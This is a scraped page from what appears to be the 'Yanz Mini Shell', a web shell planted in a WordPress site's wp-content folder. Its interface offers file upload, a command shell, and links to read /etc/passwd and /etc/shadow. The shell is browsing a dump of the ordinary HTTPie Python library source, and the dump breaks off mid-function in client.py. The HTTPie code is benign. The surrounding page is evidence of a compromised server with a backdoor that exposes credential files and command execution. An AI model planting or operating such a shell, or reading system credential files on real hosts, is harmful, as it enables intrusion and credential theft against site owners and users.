Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
veronikagstoette
public_html
wp-content
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
utils.py 0000644 00000014174 15246412010 0006260 0 ustar 00 import json import mimetypes import re import sys import time from collections import OrderedDict from http.cookiejar import parse_ns_headers from pprint import pformat from typing import Any, List, Optional, Tuple import requests.auth RE_COOKIE_SPLIT = re.compile(r', (?=[^ ;]+=)') Item = Tuple[str, Any] Items = List[Item] class JsonDictPreservingDuplicateKeys(OrderedDict): """A specialized JSON dict preserving duplicate keys.""" # Python versions prior to 3.8 suffer from an issue with multiple keys with the same name. # `json.dumps(obj, indent=N, sort_keys=True)` will output sorted keys when they are unique, and # duplicate keys will be outputted as they were defined in the original data. # See <https://bugs.python.org/issue23493#msg400929> for the behavior change between Python versions. SUPPORTS_SORTING = sys.version_info >= (3, 8) def __init__(self, items: Items): self._items = items self._ensure_items_used() def _ensure_items_used(self) -> None: """HACK: Force `json.dumps()` to use `self.items()` instead of an empty dict. Two JSON encoders are available on CPython: pure-Python (1) and C (2) implementations. (1) The pure-python implementation will do a simple `if not dict: return '{}'`, and we could fake that check by implementing the `__bool__()` method. Source: - <https://github.com/python/cpython/blob/9d318ad/Lib/json/encoder.py#L334-L336> (2) On the other hand, the C implementation will do a check on the number of items contained inside the dict, using a verification on `dict->ma_used`, which is updated only when an item is added/removed from the dict. For that case, there is no workaround but to add an item into the dict. Sources: - <https://github.com/python/cpython/blob/9d318ad/Modules/_json.c#L1581-L1582> - <https://github.com/python/cpython/blob/9d318ad/Include/cpython/dictobject.h#L53> - <https://github.com/python/cpython/blob/9d318ad/Include/cpython/dictobject.h#L17-L18> To please both implementations, we simply add one item to the dict. """ if self._items: self['__hack__'] = '__hack__' def items(self) -> Items: """Return all items, duplicate ones included. """ return self._items def load_json_preserve_order_and_dupe_keys(s): return json.loads(s, object_pairs_hook=JsonDictPreservingDuplicateKeys) def repr_dict(d: dict) -> str: return pformat(d) def humanize_bytes(n, precision=2): # Author: Doug Latornell # Licence: MIT # URL: https://code.activestate.com/recipes/577081/ """Return a humanized string representation of a number of bytes. >>> humanize_bytes(1) '1 B' >>> humanize_bytes(1024, precision=1) '1.0 kB' >>> humanize_bytes(1024 * 123, precision=1) '123.0 kB' >>> humanize_bytes(1024 * 12342, precision=1) '12.1 MB' >>> humanize_bytes(1024 * 12342, precision=2) '12.05 MB' >>> humanize_bytes(1024 * 1234, precision=2) '1.21 MB' >>> humanize_bytes(1024 * 1234 * 1111, precision=2) '1.31 GB' >>> humanize_bytes(1024 * 1234 * 1111, precision=1) '1.3 GB' """ abbrevs = [ (1 << 50, 'PB'), (1 << 40, 'TB'), (1 << 30, 'GB'), (1 << 20, 'MB'), (1 << 10, 'kB'), (1, 'B') ] if n == 1: return '1 B' for factor, suffix in abbrevs: if n >= factor: break # noinspection PyUnboundLocalVariable return f'{n / factor:.{precision}f} {suffix}' class ExplicitNullAuth(requests.auth.AuthBase): """Forces requests to ignore the ``.netrc``. <https://github.com/psf/requests/issues/2773#issuecomment-174312831> """ def __call__(self, r): return r def get_content_type(filename): """ Return the content type for ``filename`` in format appropriate for Content-Type headers, or ``None`` if the file type is unknown to ``mimetypes``. """ return mimetypes.guess_type(filename, strict=False)[0] def split_cookies(cookies): """ When ``requests`` stores cookies in ``response.headers['Set-Cookie']`` it concatenates all of them through ``, ``. This function splits cookies apart being careful to not to split on ``, `` which may be part of cookie value. """ if not cookies: return [] return RE_COOKIE_SPLIT.split(cookies) def get_expired_cookies( cookies: str, now: float = None ) -> List[dict]: now = now or time.time() def is_expired(expires: Optional[float]) -> bool: return expires is not None and expires <= now attr_sets: List[Tuple[str, str]] = parse_ns_headers( split_cookies(cookies) ) cookies = [ # The first attr name is the cookie name. dict(attrs[1:], name=attrs[0][0]) for attrs in attr_sets ] _max_age_to_expires(cookies=cookies, now=now) return [ { 'name': cookie['name'], 'path': cookie.get('path', '/') } for cookie in cookies if is_expired(expires=cookie.get('expires')) ] def _max_age_to_expires(cookies, now): """ Translate `max-age` into `expires` for Requests to take it into account. HACK/FIXME: <https://github.com/psf/requests/issues/5743> """ for cookie in cookies: if 'expires' in cookie: continue max_age = cookie.get('max-age') if max_age and max_age.isdigit(): cookie['expires'] = now + float(max_age) def parse_content_type_header(header): """Borrowed from requests.""" tokens = header.split(';') content_type, params = tokens[0].strip(), tokens[1:] params_dict = {} items_to_strip = "\"' " for param in params: param = param.strip() if param: key, value = param, True index_of_equals = param.find("=") if index_of_equals != -1: key = param[:index_of_equals].strip(items_to_strip) value = param[index_of_equals + 1:].strip(items_to_strip) params_dict[key.lower()] = value return content_type, params_dict uploads.py 0000644 00000010016 15246412010 0006556 0 ustar 00 import zlib from typing import Callable, IO, Iterable, Tuple, Union from urllib.parse import urlencode import requests from requests.utils import super_len from requests_toolbelt import MultipartEncoder from .cli.dicts import MultipartRequestDataDict, RequestDataDict class ChunkedUploadStream: def __init__(self, stream: Iterable, callback: Callable): self.callback = callback self.stream = stream def __iter__(self) -> Iterable[Union[str, bytes]]: for chunk in self.stream: self.callback(chunk) yield chunk class ChunkedMultipartUploadStream: chunk_size = 100 * 1024 def __init__(self, encoder: MultipartEncoder): self.encoder = encoder def __iter__(self) -> Iterable[Union[str, bytes]]: while True: chunk = self.encoder.read(self.chunk_size) if not chunk: break yield chunk def prepare_request_body( body: Union[str, bytes, IO, MultipartEncoder, RequestDataDict], body_read_callback: Callable[[bytes], bytes], content_length_header_value: int = None, chunked=False, offline=False, ) -> Union[str, bytes, IO, MultipartEncoder, ChunkedUploadStream]: is_file_like = hasattr(body, 'read') if isinstance(body, RequestDataDict): body = urlencode(body, doseq=True) if offline: if is_file_like: return body.read() return body if not is_file_like: if chunked: body = ChunkedUploadStream( # Pass the entire body as one chunk. stream=(chunk.encode() for chunk in [body]), callback=body_read_callback, ) else: # File-like object. if not super_len(body): # Zero-length -> assume stdin. if content_length_header_value is None and not chunked: # # Read the whole stdin to determine `Content-Length`. # # TODO: Instead of opt-in --chunked, consider making # `Transfer-Encoding: chunked` for STDIN opt-out via # something like --no-chunked. # This would be backwards-incompatible so wait until v3.0.0. # body = body.read() else: orig_read = body.read def new_read(*args): chunk = orig_read(*args) body_read_callback(chunk) return chunk body.read = new_read if chunked: if isinstance(body, MultipartEncoder): body = ChunkedMultipartUploadStream( encoder=body, ) else: body = ChunkedUploadStream( stream=body, callback=body_read_callback, ) return body def get_multipart_data_and_content_type( data: MultipartRequestDataDict, boundary: str = None, content_type: str = None, ) -> Tuple[MultipartEncoder, str]: encoder = MultipartEncoder( fields=data.items(), boundary=boundary, ) if content_type: content_type = content_type.strip() if 'boundary=' not in content_type: content_type = f'{content_type}; boundary={encoder.boundary_value}' else: content_type = encoder.content_type data = encoder return data, content_type def compress_request( request: requests.PreparedRequest, always: bool, ): deflater = zlib.compressobj() if isinstance(request.body, str): body_bytes = request.body.encode() elif hasattr(request.body, 'read'): body_bytes = request.body.read() else: body_bytes = request.body deflated_data = deflater.compress(body_bytes) deflated_data += deflater.flush() is_economical = len(deflated_data) < len(body_bytes) if is_economical or always: request.body = deflated_data request.headers['Content-Encoding'] = 'deflate' request.headers['Content-Length'] = str(len(deflated_data)) downloads.py 0000644 00000033545 15246412010 0007115 0 ustar 00 """ Download mode implementation. """ import mimetypes import os import re import sys import threading from mailbox import Message from time import sleep, monotonic from typing import IO, Optional, Tuple from urllib.parse import urlsplit import requests from .models import HTTPResponse from .output.streams import RawStream from .utils import humanize_bytes PARTIAL_CONTENT = 206 CLEAR_LINE = '\r\033[K' PROGRESS = ( '{percentage: 6.2f} %' ' {downloaded: >10}' ' {speed: >10}/s' ' {eta: >8} ETA' ) PROGRESS_NO_CONTENT_LENGTH = '{downloaded: >10} {speed: >10}/s' SUMMARY = 'Done. {downloaded} in {time:0.5f}s ({speed}/s)\n' SPINNER = '|/-\\' class ContentRangeError(ValueError): pass def parse_content_range(content_range: str, resumed_from: int) -> int: """ Parse and validate Content-Range header. <https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html> :param content_range: the value of a Content-Range response header eg. "bytes 21010-47021/47022" :param resumed_from: first byte pos. from the Range request header :return: total size of the response body when fully downloaded. """ if content_range is None: raise ContentRangeError('Missing Content-Range') pattern = ( r'^bytes (?P<first_byte_pos>\d+)-(?P<last_byte_pos>\d+)' r'/(\*|(?P<instance_length>\d+))$' ) match = re.match(pattern, content_range) if not match: raise ContentRangeError( f'Invalid Content-Range format {content_range!r}') content_range_dict = match.groupdict() first_byte_pos = int(content_range_dict['first_byte_pos']) last_byte_pos = int(content_range_dict['last_byte_pos']) instance_length = ( int(content_range_dict['instance_length']) if content_range_dict['instance_length'] else None ) # "A byte-content-range-spec with a byte-range-resp-spec whose # last- byte-pos value is less than its first-byte-pos value, # or whose instance-length value is less than or equal to its # last-byte-pos value, is invalid. The recipient of an invalid # byte-content-range- spec MUST ignore it and any content # transferred along with it." if (first_byte_pos > last_byte_pos or (instance_length is not None and instance_length <= last_byte_pos)): raise ContentRangeError( f'Invalid Content-Range returned: {content_range!r}') if (first_byte_pos != resumed_from or (instance_length is not None and last_byte_pos + 1 != instance_length)): # Not what we asked for. raise ContentRangeError( f'Unexpected Content-Range returned ({content_range!r})' f' for the requested Range ("bytes={resumed_from}-")' ) return last_byte_pos + 1 def filename_from_content_disposition( content_disposition: str ) -> Optional[str]: """ Extract and validate filename from a Content-Disposition header. :param content_disposition: Content-Disposition value :return: the filename if present and valid, otherwise `None` """ # attachment; filename=jakubroztocil-httpie-0.4.1-20-g40bd8f6.tar.gz msg = Message(f'Content-Disposition: {content_disposition}') filename = msg.get_filename() if filename: # Basic sanitation. filename = os.path.basename(filename).lstrip('.').strip() if filename: return filename def filename_from_url(url: str, content_type: Optional[str]) -> str: fn = urlsplit(url).path.rstrip('/') fn = os.path.basename(fn) if fn else 'index' if '.' not in fn and content_type: content_type = content_type.split(';')[0] if content_type == 'text/plain': # mimetypes returns '.ksh' ext = '.txt' else: ext = mimetypes.guess_extension(content_type) if ext == '.htm': ext = '.html' if ext: fn += ext return fn def trim_filename(filename: str, max_len: int) -> str: if len(filename) > max_len: trim_by = len(filename) - max_len name, ext = os.path.splitext(filename) if trim_by >= len(name): filename = filename[:-trim_by] else: filename = name[:-trim_by] + ext return filename def get_filename_max_length(directory: str) -> int: max_len = 255 if hasattr(os, 'pathconf') and 'PC_NAME_MAX' in os.pathconf_names: max_len = os.pathconf(directory, 'PC_NAME_MAX') return max_len def trim_filename_if_needed(filename: str, directory='.', extra=0) -> str: max_len = get_filename_max_length(directory) - extra if len(filename) > max_len: filename = trim_filename(filename, max_len) return filename def get_unique_filename(filename: str, exists=os.path.exists) -> str: attempt = 0 while True: suffix = f'-{attempt}' if attempt > 0 else '' try_filename = trim_filename_if_needed(filename, extra=len(suffix)) try_filename += suffix if not exists(try_filename): return try_filename attempt += 1 class Downloader: def __init__( self, output_file: IO = None, resume: bool = False, progress_file: IO = sys.stderr ): """ :param resume: Should the download resume if partial download already exists. :param output_file: The file to store response body in. If not provided, it will be guessed from the response. :param progress_file: Where to report download progress. """ self.finished = False self.status = DownloadStatus() self._output_file = output_file self._resume = resume self._resumed_from = 0 self._progress_reporter = ProgressReporterThread( status=self.status, output=progress_file ) def pre_request(self, request_headers: dict): """Called just before the HTTP request is sent. Might alter `request_headers`. """ # Ask the server not to encode the content so that we can resume, etc. request_headers['Accept-Encoding'] = 'identity' if self._resume: bytes_have = os.path.getsize(self._output_file.name) if bytes_have: # Set ``Range`` header to resume the download # TODO: Use "If-Range: mtime" to make sure it's fresh? request_headers['Range'] = f'bytes={bytes_have}-' self._resumed_from = bytes_have def start( self, initial_url: str, final_response: requests.Response ) -> Tuple[RawStream, IO]: """ Initiate and return a stream for `response` body with progress callback attached. Can be called only once. :param initial_url: The original requested URL :param final_response: Initiated response object with headers already fetched :return: RawStream, output_file """ assert not self.status.time_started # FIXME: some servers still might sent Content-Encoding: gzip # <https://github.com/httpie/httpie/issues/423> try: total_size = int(final_response.headers['Content-Length']) except (KeyError, ValueError, TypeError): total_size = None if not self._output_file: self._output_file = self._get_output_file_from_response( initial_url=initial_url, final_response=final_response, ) else: # `--output, -o` provided if self._resume and final_response.status_code == PARTIAL_CONTENT: total_size = parse_content_range( final_response.headers.get('Content-Range'), self._resumed_from ) else: self._resumed_from = 0 try: self._output_file.seek(0) self._output_file.truncate() except OSError: pass # stdout self.status.started( resumed_from=self._resumed_from, total_size=total_size ) stream = RawStream( msg=HTTPResponse(final_response), with_headers=False, with_body=True, on_body_chunk_downloaded=self.chunk_downloaded, chunk_size=1024 * 8 ) self._progress_reporter.output.write( f'Downloading {humanize_bytes(total_size) + " " if total_size is not None else ""}' f'to "{self._output_file.name}"\n' ) self._progress_reporter.start() return stream, self._output_file def finish(self): assert not self.finished self.finished = True self.status.finished() def failed(self): self._progress_reporter.stop() @property def interrupted(self) -> bool: return ( self.finished and self.status.total_size and self.status.total_size != self.status.downloaded ) def chunk_downloaded(self, chunk: bytes): """ A download progress callback. :param chunk: A chunk of response body data that has just been downloaded and written to the output. """ self.status.chunk_downloaded(len(chunk)) @staticmethod def _get_output_file_from_response( initial_url: str, final_response: requests.Response, ) -> IO: # Output file not specified. Pick a name that doesn't exist yet. filename = None if 'Content-Disposition' in final_response.headers: filename = filename_from_content_disposition( final_response.headers['Content-Disposition']) if not filename: filename = filename_from_url( url=initial_url, content_type=final_response.headers.get('Content-Type'), ) unique_filename = get_unique_filename(filename) return open(unique_filename, mode='a+b') class DownloadStatus: """Holds details about the download status.""" def __init__(self): self.downloaded = 0 self.total_size = None self.resumed_from = 0 self.time_started = None self.time_finished = None def started(self, resumed_from=0, total_size=None): assert self.time_started is None self.total_size = total_size self.downloaded = self.resumed_from = resumed_from self.time_started = monotonic() def chunk_downloaded(self, size): assert self.time_finished is None self.downloaded += size @property def has_finished(self): return self.time_finished is not None def finished(self): assert self.time_started is not None assert self.time_finished is None self.time_finished = monotonic() class ProgressReporterThread(threading.Thread): """ Reports download progress based on its status. Uses threading to periodically update the status (speed, ETA, etc.). """ def __init__( self, status: DownloadStatus, output: IO, tick=.1, update_interval=1 ): super().__init__() self.status = status self.output = output self._tick = tick self._update_interval = update_interval self._spinner_pos = 0 self._status_line = '' self._prev_bytes = 0 self._prev_time = monotonic() self._should_stop = threading.Event() def stop(self): """Stop reporting on next tick.""" self._should_stop.set() def run(self): while not self._should_stop.is_set(): if self.status.has_finished: self.sum_up() break self.report_speed() sleep(self._tick) def report_speed(self): now = monotonic() if now - self._prev_time >= self._update_interval: downloaded = self.status.downloaded speed = ((downloaded - self._prev_bytes) / (now - self._prev_time)) if not self.status.total_size: self._status_line = PROGRESS_NO_CONTENT_LENGTH.format( downloaded=humanize_bytes(downloaded), speed=humanize_bytes(speed), ) else: percentage = (downloaded / self.status.total_size * 100 if self.status.total_size else 0) if not speed: eta = '-:--:--' else: s = int((self.status.total_size - downloaded) / speed) h, s = divmod(s, 60 * 60) m, s = divmod(s, 60) eta = f'{h}:{m:0>2}:{s:0>2}' self._status_line = PROGRESS.format( percentage=percentage, downloaded=humanize_bytes(downloaded), speed=humanize_bytes(speed), eta=eta, ) self._prev_time = now self._prev_bytes = downloaded self.output.write( f'{CLEAR_LINE} {SPINNER[self._spinner_pos]} {self._status_line}' ) self.output.flush() self._spinner_pos = (self._spinner_pos + 1) % len(SPINNER) def sum_up(self): actually_downloaded = ( self.status.downloaded - self.status.resumed_from) time_taken = self.status.time_finished - self.status.time_started speed = actually_downloaded / time_taken if time_taken else actually_downloaded self.output.write(CLEAR_LINE) self.output.write(SUMMARY.format( downloaded=humanize_bytes(actually_downloaded), total=(self.status.total_size and humanize_bytes(self.status.total_size)), speed=humanize_bytes(speed), time=time_taken, )) self.output.flush() sessions.py 0000644 00000011547 15246412010 0006767 0 ustar 00 """ Persistent, JSON-serialized sessions. """ import os import re from http.cookies import SimpleCookie from pathlib import Path from typing import Iterable, Optional, Union from urllib.parse import urlsplit from requests.auth import AuthBase from requests.cookies import RequestsCookieJar, create_cookie from .cli.dicts import RequestHeadersDict from .config import BaseConfigDict, DEFAULT_CONFIG_DIR from .plugins.registry import plugin_manager SESSIONS_DIR_NAME = 'sessions' DEFAULT_SESSIONS_DIR = DEFAULT_CONFIG_DIR / SESSIONS_DIR_NAME VALID_SESSION_NAME_PATTERN = re.compile('^[a-zA-Z0-9_.-]+$') # Request headers starting with these prefixes won't be stored in sessions. # They are specific to each request. # <https://en.wikipedia.org/wiki/List_of_HTTP_header_fields#Requests> SESSION_IGNORED_HEADER_PREFIXES = ['Content-', 'If-'] def get_httpie_session( config_dir: Path, session_name: str, host: Optional[str], url: str, ) -> 'Session': if os.path.sep in session_name: path = os.path.expanduser(session_name) else: hostname = host or urlsplit(url).netloc.split('@')[-1] if not hostname: # HACK/FIXME: httpie-unixsocket's URLs have no hostname. hostname = 'localhost' # host:port => host_port hostname = hostname.replace(':', '_') path = ( config_dir / SESSIONS_DIR_NAME / hostname / f'{session_name}.json' ) session = Session(path) session.load() return session class Session(BaseConfigDict): helpurl = 'https://httpie.io/docs#sessions' about = 'HTTPie session file' def __init__(self, path: Union[str, Path]): super().__init__(path=Path(path)) self['headers'] = {} self['cookies'] = {} self['auth'] = { 'type': None, 'username': None, 'password': None } def update_headers(self, request_headers: RequestHeadersDict): """ Update the session headers with the request ones while ignoring certain name prefixes. """ headers = self.headers for name, value in request_headers.copy().items(): if value is None: continue # Ignore explicitly unset headers if type(value) is not str: value = value.decode() if name.lower() == 'user-agent' and value.startswith('HTTPie/'): continue if name.lower() == 'cookie': for cookie_name, morsel in SimpleCookie(value).items(): self['cookies'][cookie_name] = {'value': morsel.value} del request_headers[name] continue for prefix in SESSION_IGNORED_HEADER_PREFIXES: if name.lower().startswith(prefix.lower()): break else: headers[name] = value self['headers'] = dict(headers) @property def headers(self) -> RequestHeadersDict: return RequestHeadersDict(self['headers']) @property def cookies(self) -> RequestsCookieJar: jar = RequestsCookieJar() for name, cookie_dict in self['cookies'].items(): jar.set_cookie(create_cookie( name, cookie_dict.pop('value'), **cookie_dict)) jar.clear_expired_cookies() return jar @cookies.setter def cookies(self, jar: RequestsCookieJar): # <https://docs.python.org/3/library/cookielib.html#cookie-objects> stored_attrs = ['value', 'path', 'secure', 'expires'] self['cookies'] = {} for cookie in jar: self['cookies'][cookie.name] = { attname: getattr(cookie, attname) for attname in stored_attrs } @property def auth(self) -> Optional[AuthBase]: auth = self.get('auth', None) if not auth or not auth['type']: return plugin = plugin_manager.get_auth_plugin(auth['type'])() credentials = {'username': None, 'password': None} try: # New style plugin.raw_auth = auth['raw_auth'] except KeyError: # Old style credentials = { 'username': auth['username'], 'password': auth['password'], } else: if plugin.auth_parse: from .cli.argtypes import parse_auth parsed = parse_auth(plugin.raw_auth) credentials = { 'username': parsed.key, 'password': parsed.value, } return plugin.get_auth(**credentials) @auth.setter def auth(self, auth: dict): assert {'type', 'raw_auth'} == auth.keys() self['auth'] = auth def remove_cookies(self, names: Iterable[str]): for name in names: if name in self['cookies']: del self['cookies'][name] compat.py 0000644 00000003504 15246412010 0006376 0 ustar 00 import sys is_windows = 'win32' in str(sys.platform).lower() try: from functools import cached_property except ImportError: # Can be removed once we drop Python <3.8 support. # Taken from `django.utils.functional.cached_property`. class cached_property: """ Decorator that converts a method with a single self argument into a property cached on the instance. A cached property can be made out of an existing method: (e.g. ``url = cached_property(get_absolute_url)``). The optional ``name`` argument is obsolete as of Python 3.6 and will be deprecated in Django 4.0 (#30127). """ name = None @staticmethod def func(instance): raise TypeError( 'Cannot use cached_property instance without calling ' '__set_name__() on it.' ) def __init__(self, func, name=None): self.real_func = func self.__doc__ = getattr(func, '__doc__') def __set_name__(self, owner, name): if self.name is None: self.name = name self.func = self.real_func elif name != self.name: raise TypeError( "Cannot assign the same cached_property to two different names " "(%r and %r)." % (self.name, name) ) def __get__(self, instance, cls=None): """ Call the function and put the return value in instance.__dict__ so that subsequent attribute access on the instance returns the cached value instead of calling cached_property.__get__(). """ if instance is None: return self res = instance.__dict__[self.name] = self.func(instance) return res ssl.py 0000644 00000003533 15246412010 0005716 0 ustar 00 import ssl from requests.adapters import HTTPAdapter # noinspection PyPackageRequirements from urllib3.util.ssl_ import ( DEFAULT_CIPHERS, create_urllib3_context, resolve_ssl_version, ) DEFAULT_SSL_CIPHERS = DEFAULT_CIPHERS SSL_VERSION_ARG_MAPPING = { 'ssl2.3': 'PROTOCOL_SSLv23', 'ssl3': 'PROTOCOL_SSLv3', 'tls1': 'PROTOCOL_TLSv1', 'tls1.1': 'PROTOCOL_TLSv1_1', 'tls1.2': 'PROTOCOL_TLSv1_2', 'tls1.3': 'PROTOCOL_TLSv1_3', } AVAILABLE_SSL_VERSION_ARG_MAPPING = { arg: getattr(ssl, constant_name) for arg, constant_name in SSL_VERSION_ARG_MAPPING.items() if hasattr(ssl, constant_name) } class HTTPieHTTPSAdapter(HTTPAdapter): def __init__( self, verify: bool, ssl_version: str = None, ciphers: str = None, **kwargs ): self._ssl_context = self._create_ssl_context( verify=verify, ssl_version=ssl_version, ciphers=ciphers, ) super().__init__(**kwargs) def init_poolmanager(self, *args, **kwargs): kwargs['ssl_context'] = self._ssl_context return super().init_poolmanager(*args, **kwargs) def proxy_manager_for(self, *args, **kwargs): kwargs['ssl_context'] = self._ssl_context return super().proxy_manager_for(*args, **kwargs) @staticmethod def _create_ssl_context( verify: bool, ssl_version: str = None, ciphers: str = None, ) -> 'ssl.SSLContext': return create_urllib3_context( ciphers=ciphers, ssl_version=resolve_ssl_version(ssl_version), # Since we are using a custom SSL context, we need to pass this # here manually, even though it’s also passed to the connection # in `super().cert_verify()`. cert_reqs=ssl.CERT_REQUIRED if verify else ssl.CERT_NONE ) core.py 0000644 00000021362 15246412010 0006045 0 ustar 00 import argparse import os import platform import sys from typing import List, Optional, Tuple, Union import requests from pygments import __version__ as pygments_version from requests import __version__ as requests_version from . import __version__ as httpie_version from .cli.constants import OUT_REQ_BODY, OUT_REQ_HEAD, OUT_RESP_BODY, OUT_RESP_HEAD from .client import collect_messages from .context import Environment from .downloads import Downloader from .output.writer import write_message, write_stream, MESSAGE_SEPARATOR_BYTES from .plugins.registry import plugin_manager from .status import ExitStatus, http_status_to_exit_status # noinspection PyDefaultArgument def main(args: List[Union[str, bytes]] = sys.argv, env=Environment()) -> ExitStatus: """ The main function. Pre-process args, handle some special types of invocations, and run the main program with error handling. Return exit status code. """ program_name, *args = args env.program_name = os.path.basename(program_name) args = decode_raw_args(args, env.stdin_encoding) plugin_manager.load_installed_plugins() from .cli.definition import parser if env.config.default_options: args = env.config.default_options + args include_debug_info = '--debug' in args include_traceback = include_debug_info or '--traceback' in args if include_debug_info: print_debug_info(env) if args == ['--debug']: return ExitStatus.SUCCESS exit_status = ExitStatus.SUCCESS try: parsed_args = parser.parse_args( args=args, env=env, ) except KeyboardInterrupt: env.stderr.write('\n') if include_traceback: raise exit_status = ExitStatus.ERROR_CTRL_C except SystemExit as e: if e.code != ExitStatus.SUCCESS: env.stderr.write('\n') if include_traceback: raise exit_status = ExitStatus.ERROR else: try: exit_status = program( args=parsed_args, env=env, ) except KeyboardInterrupt: env.stderr.write('\n') if include_traceback: raise exit_status = ExitStatus.ERROR_CTRL_C except SystemExit as e: if e.code != ExitStatus.SUCCESS: env.stderr.write('\n') if include_traceback: raise exit_status = ExitStatus.ERROR except requests.Timeout: exit_status = ExitStatus.ERROR_TIMEOUT env.log_error(f'Request timed out ({parsed_args.timeout}s).') except requests.TooManyRedirects: exit_status = ExitStatus.ERROR_TOO_MANY_REDIRECTS env.log_error( f'Too many redirects' f' (--max-redirects={parsed_args.max_redirects}).' ) except Exception as e: # TODO: Further distinction between expected and unexpected errors. msg = str(e) if hasattr(e, 'request'): request = e.request if hasattr(request, 'url'): msg = ( f'{msg} while doing a {request.method}' f' request to URL: {request.url}' ) env.log_error(f'{type(e).__name__}: {msg}') if include_traceback: raise exit_status = ExitStatus.ERROR return exit_status def get_output_options( args: argparse.Namespace, message: Union[requests.PreparedRequest, requests.Response] ) -> Tuple[bool, bool]: return { requests.PreparedRequest: ( OUT_REQ_HEAD in args.output_options, OUT_REQ_BODY in args.output_options, ), requests.Response: ( OUT_RESP_HEAD in args.output_options, OUT_RESP_BODY in args.output_options, ), }[type(message)] def program(args: argparse.Namespace, env: Environment) -> ExitStatus: """ The main program without error handling. """ # TODO: Refactor and drastically simplify, especially so that the separator logic is elsewhere. exit_status = ExitStatus.SUCCESS downloader = None initial_request: Optional[requests.PreparedRequest] = None final_response: Optional[requests.Response] = None def separate(): getattr(env.stdout, 'buffer', env.stdout).write(MESSAGE_SEPARATOR_BYTES) def request_body_read_callback(chunk: bytes): should_pipe_to_stdout = bool( # Request body output desired OUT_REQ_BODY in args.output_options # & not `.read()` already pre-request (e.g., for compression) and initial_request # & non-EOF chunk and chunk ) if should_pipe_to_stdout: msg = requests.PreparedRequest() msg.is_body_upload_chunk = True msg.body = chunk msg.headers = initial_request.headers write_message(requests_message=msg, env=env, args=args, with_body=True, with_headers=False) try: if args.download: args.follow = True # --download implies --follow. downloader = Downloader(output_file=args.output_file, progress_file=env.stderr, resume=args.download_resume) downloader.pre_request(args.headers) messages = collect_messages(args=args, config_dir=env.config.directory, request_body_read_callback=request_body_read_callback) force_separator = False prev_with_body = False # Process messages as they’re generated for message in messages: is_request = isinstance(message, requests.PreparedRequest) with_headers, with_body = get_output_options(args=args, message=message) do_write_body = with_body if prev_with_body and (with_headers or with_body) and (force_separator or not env.stdout_isatty): # Separate after a previous message with body, if needed. See test_tokens.py. separate() force_separator = False if is_request: if not initial_request: initial_request = message if with_body: is_streamed_upload = not isinstance(message.body, (str, bytes)) do_write_body = not is_streamed_upload force_separator = is_streamed_upload and env.stdout_isatty else: final_response = message if args.check_status or downloader: exit_status = http_status_to_exit_status(http_status=message.status_code, follow=args.follow) if exit_status != ExitStatus.SUCCESS and (not env.stdout_isatty or args.quiet == 1): env.log_error(f'HTTP {message.raw.status} {message.raw.reason}', level='warning') write_message(requests_message=message, env=env, args=args, with_headers=with_headers, with_body=do_write_body) prev_with_body = with_body # Cleanup if force_separator: separate() if downloader and exit_status == ExitStatus.SUCCESS: # Last response body download. download_stream, download_to = downloader.start( initial_url=initial_request.url, final_response=final_response, ) write_stream(stream=download_stream, outfile=download_to, flush=False) downloader.finish() if downloader.interrupted: exit_status = ExitStatus.ERROR env.log_error( f'Incomplete download: size={downloader.status.total_size};' f' downloaded={downloader.status.downloaded}' ) return exit_status finally: if downloader and not downloader.finished: downloader.failed() if args.output_file and args.output_file_specified: args.output_file.close() def print_debug_info(env: Environment): env.stderr.writelines([ f'HTTPie {httpie_version}\n', f'Requests {requests_version}\n', f'Pygments {pygments_version}\n', f'Python {sys.version}\n{sys.executable}\n', f'{platform.system()} {platform.release()}', ]) env.stderr.write('\n\n') env.stderr.write(repr(env)) env.stderr.write('\n\n') env.stderr.write(repr(plugin_manager)) env.stderr.write('\n') def decode_raw_args( args: List[Union[str, bytes]], stdin_encoding: str ) -> List[str]: """ Convert all bytes args to str by decoding them using stdin encoding. """ return [ arg.decode(stdin_encoding) if type(arg) is bytes else arg for arg in args ] client.py 0000644 00000024225 15246412010 0006374 0 ustar 00 import argparse import http.client import json import sys from contextlib import contextmanager from pathlib import Path from typing import Callable, Iterable, Union from urllib.parse import urlparse, urlunparse import requests # noinspection PyPackageRequirements import urllib3 from . import __version__ from .cli.dicts import RequestHeadersDict from .encoding import UTF8 from .plugins.registry import plugin_manager from .sessions import get_httpie_session from .ssl import AVAILABLE_SSL_VERSION_ARG_MAPPING, HTTPieHTTPSAdapter from .uploads import ( compress_request, prepare_request_body, get_multipart_data_and_content_type, ) from .utils import get_expired_cookies, repr_dict urllib3.disable_warnings() FORM_CONTENT_TYPE = f'application/x-www-form-urlencoded; charset={UTF8}' JSON_CONTENT_TYPE = 'application/json' JSON_ACCEPT = f'{JSON_CONTENT_TYPE}, */*;q=0.5' DEFAULT_UA = f'HTTPie/{__version__}' def collect_messages( args: argparse.Namespace, config_dir: Path, request_body_read_callback: Callable[[bytes], None] = None, ) -> Iterable[Union[requests.PreparedRequest, requests.Response]]: httpie_session = None httpie_session_headers = None if args.session or args.session_read_only: httpie_session = get_httpie_session( config_dir=config_dir, session_name=args.session or args.session_read_only, host=args.headers.get('Host'), url=args.url, ) httpie_session_headers = httpie_session.headers request_kwargs = make_request_kwargs( args=args, base_headers=httpie_session_headers, request_body_read_callback=request_body_read_callback ) send_kwargs = make_send_kwargs(args) send_kwargs_mergeable_from_env = make_send_kwargs_mergeable_from_env(args) requests_session = build_requests_session( ssl_version=args.ssl_version, ciphers=args.ciphers, verify=bool(send_kwargs_mergeable_from_env['verify']) ) if httpie_session: httpie_session.update_headers(request_kwargs['headers']) requests_session.cookies = httpie_session.cookies if args.auth_plugin: # Save auth from CLI to HTTPie session. httpie_session.auth = { 'type': args.auth_plugin.auth_type, 'raw_auth': args.auth_plugin.raw_auth, } elif httpie_session.auth: # Apply auth from HTTPie session request_kwargs['auth'] = httpie_session.auth if args.debug: # TODO: reflect the split between request and send kwargs. dump_request(request_kwargs) request = requests.Request(**request_kwargs) prepared_request = requests_session.prepare_request(request) if args.path_as_is: prepared_request.url = ensure_path_as_is( orig_url=args.url, prepped_url=prepared_request.url, ) if args.compress and prepared_request.body: compress_request( request=prepared_request, always=args.compress > 1, ) response_count = 0 expired_cookies = [] while prepared_request: yield prepared_request if not args.offline: 